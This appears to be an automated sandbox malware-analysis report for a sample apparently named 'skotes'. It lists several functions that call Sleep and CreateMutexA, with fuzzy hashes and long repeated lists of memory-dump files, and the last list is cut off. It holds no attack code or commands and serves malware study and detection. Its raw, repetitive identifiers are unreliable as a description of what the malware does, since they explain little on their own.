Opcode Fuzzy Hash: ebeef52d76dda23dcefd7752291a421f9749c4b5914aa75ff07a379387a162d2
Instruction Fuzzy Hash: 69E0C23004110CAFCF367B98D909D783BA9EFA1789F405920FE1C96236CB39EE81C680

Function 001C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 64ffa7e82be06f53b79d4b1a94fe93fa079d724034c5278de1055df92a578c5b
Instruction ID: 4f39fedcfff00e531c7e9783a46142fe78ff96b5d3e3e8f790603808fa523687
Opcode Fuzzy Hash: 64ffa7e82be06f53b79d4b1a94fe93fa079d724034c5278de1055df92a578c5b
Instruction Fuzzy Hash: C83129316002049BEB18DB68ED9AFADB662AFE1314F20825DE054973D5C775DD808691

Function 001C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: abdf2d6180a6d2db5102110381cebb97c392810d034130d51a0b6198931a624b
Instruction ID: 2a0a2e06896a47fb487feb7a9285d922f2b0422326ae2db911175135fe45f3e3
Opcode Fuzzy Hash: abdf2d6180a6d2db5102110381cebb97c392810d034130d51a0b6198931a624b
Instruction Fuzzy Hash: 253128326001489BEB18DB78DD9ABADBB62EFE6318F20825DE454D73D1C735DD808752

Function 001CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: f2effe7b884be91838842b874721ba2cd20caf3a0e4f6e889b41376220ffa76b
Instruction ID: 2745aed38bbdf00937a63d6b38d1e2dbb4d3c71c30b8b0ff55c20359f705cd1d
Opcode Fuzzy Hash: f2effe7b884be91838842b874721ba2cd20caf3a0e4f6e889b41376220ffa76b
Instruction Fuzzy Hash: 653135317102089BEB09DBB8DD9ABADBB72EFA1318F64821DE014973D1C736D980C652

Function 001CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 359d9df64717d6e7288fb8e85b5c618efe75d62e42e64534c98b2b5945687c53
Instruction ID: a09e480163c74cbd5974cc052afa5440495fe589564a03cb95ede71ca39a6e1b
Opcode Fuzzy Hash: 359d9df64717d6e7288fb8e85b5c618efe75d62e42e64534c98b2b5945687c53
Instruction Fuzzy Hash: E43128316001489BEB09DBB8DD9AFADB772EFE6718F64821DE014973D1C736DD808652

Function 001CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
